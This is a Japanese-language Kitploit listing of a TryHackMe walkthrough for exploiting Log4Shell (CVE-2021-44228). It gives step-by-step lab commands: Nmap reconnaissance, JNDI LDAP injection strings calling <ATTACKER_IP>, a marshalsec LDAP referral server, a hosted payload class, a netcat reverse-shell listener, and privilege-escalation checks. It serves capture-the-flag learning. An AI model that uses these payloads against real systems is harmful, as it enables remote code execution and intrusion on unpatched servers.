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Solar-exploiting-log-4j — Log4Shell 脆弱性 (CVE-2021-44228) を悪用してリモートコード実行とフラグ取得を行うためのステップバイステップの TryHackMe ウォークスルー。 | Kitploit
ツール/GitHubGitHub/lathika-3006/solar-exploiting-log-4j
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GitHublathika-3006/solar-exploiting-log-4j

Solar-exploiting-log-4j

Log4Shell 脆弱性 (CVE-2021-44228) を悪用してリモートコード実行とフラグ取得を行うためのステップバイステップの TryHackMe ウォークスルー。

リポジトリを見る
2115ヶ月前未レビュー

🔥 Solar Exploiting Log4j - TryHackMe ウォークスルー

📌 ルーム: Solar Exploiting Log4j

プラットフォーム: TryHackMe 難易度: 中級 トピック: Log4Shell (Log4j 脆弱性)


🧠 目的

Log4j の脆弱性 (CVE-2021-44228) を悪用してリモートコード実行を達成し、フラグを取得します。


🛠️ 使用ツール

  • Nmap
  • Burp Suite
  • cURL
  • Netcat
  • Python HTTP Server

🌐 ステップ 1: 偵察

🔍 対象スキャン

root@kitploit:~
nmap -sC -sV <TARGET_IP>

📌 発見事項

  • 開放ポート: 80 (HTTP)、その他はルームによる
  • Java ベースのバックエンドで動作する Web アプリケーション

🌐 ステップ 2: Web 列挙

  • ブラウザで Web アプリにアクセス
  • 入力フィールド (ログイン/検索/ヘッダー) と対話
  • Burp Suite を使用してリクエストをキャプチャ

💥 ステップ 3: Log4j 脆弱性の特定

Log4j の脆弱性により JNDI インジェクションが可能:

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/a}

入力がログに記録される場合 → 脆弱性が存在します。


⚙️ ステップ 4: リスナーのセットアップ

Netcat の起動

root@kitploit:~
nc -lvnp 4444

悪意のある LDAP サーバーの起動 (例)

root@kitploit:~
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

LDAP サーバーを実行:

root@kitploit:~
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

📡 ステップ 5: ペイロードのホスト

root@kitploit:~
python3 -m http.server 8000

悪意のある Java クラス (Exploit.class) を作成


🚀 ステップ 6: エクスプロイトのトリガー

脆弱なフィールドにペイロードを注入:

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 以下のようなヘッダーを使用:

  • User-Agent
  • X-Api-Version

🖥️ ステップ 7: リバースシェルの取得

トリガー後:

  • ターゲットが Netcat リスナーに接続
  • シェルアクセスを取得

🔐 ステップ 8: 権限昇格 (必要な場合)

確認:

root@kitploit:~
sudo -l

探すもの:

  • 誤設定された SUID バイナリ
  • 書き込み可能なファイル
  • Cron ジョブ

🚩 ステップ 9: フラグの取得

root@kitploit:~
find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 学んだ主要な概念

  • Log4Shell (CVE-2021-44228)
  • JNDI インジェクション
  • リモートコード実行 (RCE)
  • リバースシェル
  • Web エクスプロイト
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